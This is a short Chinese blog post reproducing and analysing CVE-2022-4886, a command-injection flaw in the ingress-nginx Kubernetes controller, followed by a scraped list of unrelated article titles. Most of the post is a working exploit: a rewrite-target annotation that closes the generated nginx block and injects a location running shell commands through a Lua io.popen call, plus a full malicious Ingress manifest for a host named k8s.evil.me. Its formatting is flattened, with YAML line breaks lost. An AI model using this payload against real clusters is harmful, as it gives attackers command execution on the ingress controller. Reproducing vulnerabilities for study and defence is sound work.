当前位置: 首页 > news >正文

CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yamlk apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

 nginx.ingress.kubernetes.io/rewrite-target: |execute-command/ last;     #用于将所有请求重定向到/execute-command}#注入了一个新路径,用于通过lua脚本执行命令location execute-command/ {content_by_lua_block {local handle = io.popen("ls -l")local result = handle:read("*a")handle:close()ngx.say(result)}}location /fs/{

演示

部署的ingress如下所示 

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:name: ingress-exploitannotations:kubernetes.io/ingress.class: "nginx"nginx.ingress.kubernetes.io/rewrite-target: |execute-command/ last;}location execute-command/ {content_by_lua_block {local handle = io.popen("ls -l")local result = handle:read("*a")handle:close()ngx.say(result)}}location /fs/{spec:rules:- host: k8s.evil.mehttp:paths:- path: /pathType: Prefixbackend:service:name: exploitport:number: 8080

http://www.lryc.cn/news/247084.html

相关文章:

  • Oracle整体架构
  • webpack具体实现--未完
  • 【Git】修改提交信息(单次、批量)
  • Grafana Panel组件跳转、交互实现
  • 人工智能|机器学习——感知器算法原理与python实现
  • 【论文阅读笔记】Prompt-to-Prompt Image Editing with Cross-Attention Control
  • Echarts legend图例配置项 设置位置 显示隐藏
  • C#每天复习一个重要小知识day3:随机数的生成
  • Java后端使用XWPFDocument生成word文档,踩坑
  • asp.net core HttpContextAccessor类
  • 微服务--04--SpringCloudGateway 网关
  • Java程序连接 nacos集群
  • 【深度学习】参数优化和训练技巧
  • CeresPCL 曲线拟合之三次多项式
  • 小白备战蓝桥杯:Java基础语法
  • C#面向对象
  • 智能优化算法应用:基于蝙蝠算法无线传感器网络(WSN)覆盖优化 - 附代码
  • 【栈和队列(1)(逆波兰表达式)】
  • Blazor Table 实现获取当前选中行的功能
  • Flask Echarts 实现历史图形查询
  • 【漫谈】信创
  • linux wget --no-check-certificate
  • mysql命令行连接数据库
  • 计算机丢失vcomp140.dll是什么意思,如何解决与修复(附教程)
  • 基于SSM实现的叮当书城
  • python基础练习题库实验5
  • JS手写instanceof(内含源码与详解)
  • 无公网IP下,如何实现公网远程访问MongoDB文件数据库
  • 初始化的内容写到析构函数中。。。。。。。
  • git 使用过程错误集合